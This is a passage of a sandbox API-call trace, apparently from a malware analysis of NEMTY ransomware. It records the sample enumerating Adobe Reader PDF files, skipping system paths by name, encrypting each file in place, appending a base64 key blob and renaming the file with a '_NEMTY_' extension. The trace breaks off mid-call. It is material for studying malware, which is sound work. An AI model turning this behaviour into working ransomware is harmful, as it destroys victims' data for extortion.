RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.679] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.680] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0189.680] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0189.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.681] Sleep (dwMilliseconds=0x5) [0189.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24b694b0, dwHighDateTime=0x1d561e8)) [0189.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24b694b0, dwHighDateTime=0x1d561e8)) [0189.701] GetLastError () returned 0x0 [0189.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.706] GetLastError () returned 0x0 [0189.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.712] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.712] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="qieZN9aH+iUg5VYXmOLx6taeGIIR/m2T2n/ioBVwdw0rVB8Pl24oKWoh+8LU8kll\r\nJd0VZo+gwtijMDQaSxi73Djk3ku5+8jWCg6R8mVmeuGCxW84MioOlD5PEgNdJzg8\r\npuhUY0oWXRb6sF2NrdyyUg44XMPRrQs8b7XXsJpkKuXtZJw+uEKeh90gzzKiDkeT\r\njfG482Ppva+dc4zQMCAmCVMbrTrl9c8L7d7/HiV/3/vPgb4D+CJ4Nai3COhINiIK\r\nrGKTe7X+GIet+jJz7PwiWEK6PmARPO8RCxivqRjrN8u99oho0olGBj5hIRZr5SYU\r\nRBSwelPy8vGVIe/qJVPHhg==\r\n", pcchString=0x653df5c) returned 1 [0189.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.712] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=115957) returned 1 [0189.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.713] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.713] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.721] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.722] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.722] SetFilePointer (in: hFile=0x320, lDistanceToMove=115957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4f5 [0189.722] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.722] CloseHandle (hObject=0x320) returned 1 [0189.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.722] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf._nemty_kgobjgd_")) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.723] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14758, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.723] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.723] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.723] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.723] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.723] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.723] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.723] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.724] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0189.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.725] Sleep (dwMilliseconds=0x5) [0189.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24bdb8d0, dwHighDateTime=0x1d561e8)) [0189.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24bdb8d0, dwHighDateTime=0x1d561e8)) [0189.741] GetLastError () returned 0x0 [0189.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.741] GetLastError () returned 0x0 [0189.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.741] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.741] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.741] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.741] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="SZ/3jcZgArAQJ9SNEX+H1xXth7X8MlrzvUeEPD9uPFsj4eFsodJxhw6D6M51tPtl\r\n9ktKJce+oSbaEMQItgpkiGki/wgiVQ7vk9pvNx2JKpMfdFKcYxXy7ltbHKWEeFqd\r\nVEx5FwOqNJaSnFzkP9l/qBeVEfehxitVWAWBKOUJ9vLNtX+LJPmjBemQ3XV4O+89\r\nGCyfxQdIHoVEhY47SdnJABDObR/sV41Bs9UjMNJ16DyGWPkUuXi2zB6GE9+AhxKI\r\nOxYR0puhXwY7WtCfPGsLVjUSls2ZeugyS4e+920vqy4apT8vxnqVBqo+jjttqJpU\r\nT4OM7Up57VoEcqUOH/LwpQ==\r\n", pcchString=0x653df5c) returned 1 [0189.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.742] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=83800) returned 1 [0189.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14750) returned 0x6352c48 [0189.742] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.742] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, 